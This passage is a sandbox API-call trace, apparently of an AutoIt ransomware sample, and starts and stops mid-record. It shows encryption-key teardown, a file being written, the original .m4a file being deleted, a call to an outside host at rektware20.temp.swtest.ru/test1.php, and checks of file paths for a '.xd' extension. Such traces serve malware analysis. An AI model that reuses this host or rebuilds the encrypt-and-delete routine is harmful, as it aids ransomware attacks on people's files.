wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.403] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.404] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.404] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.408] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xf5d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xf5d0, lpOverlapped=0x0) returned 1 [0064.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.409] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.409] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.410] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.410] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.410] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.410] CryptDestroyKey (hKey=0x164c530) returned 1 [0064.410] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.410] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.410] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.410] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.410] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.410] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.410] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.412] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.413] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.413] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.413] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.413] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.413] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.414] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.414] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.414] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.414] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.414] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.414] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.414] CryptReleaseContext (hProv=0x17abc38, dwFlags=0x0) returned 1 [0064.414] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.414] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.414] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.415] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.415] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.415] CloseHandle (hObject=0x3bc) returned 1 [0064.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.417] CloseHandle (hObject=0x2ac) returned 1 [0064.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.426] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.426] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", lpFilePart=0x0) returned 0x3b [0064.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xp2twywapwph.m4a")) returned 0x20 [0064.426] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0064.426] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xp2twywapwph.m4a")) returned 1 [0064.437] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.437] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0064.437] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.437] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.437] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.438] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.438] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.438] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.438] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0064.438] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.438] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.439] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.440] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.440] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.440] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.440] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.440] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.440] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.441] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.441] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.441] CloseHandle (hObject=0x0) returned 0 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW 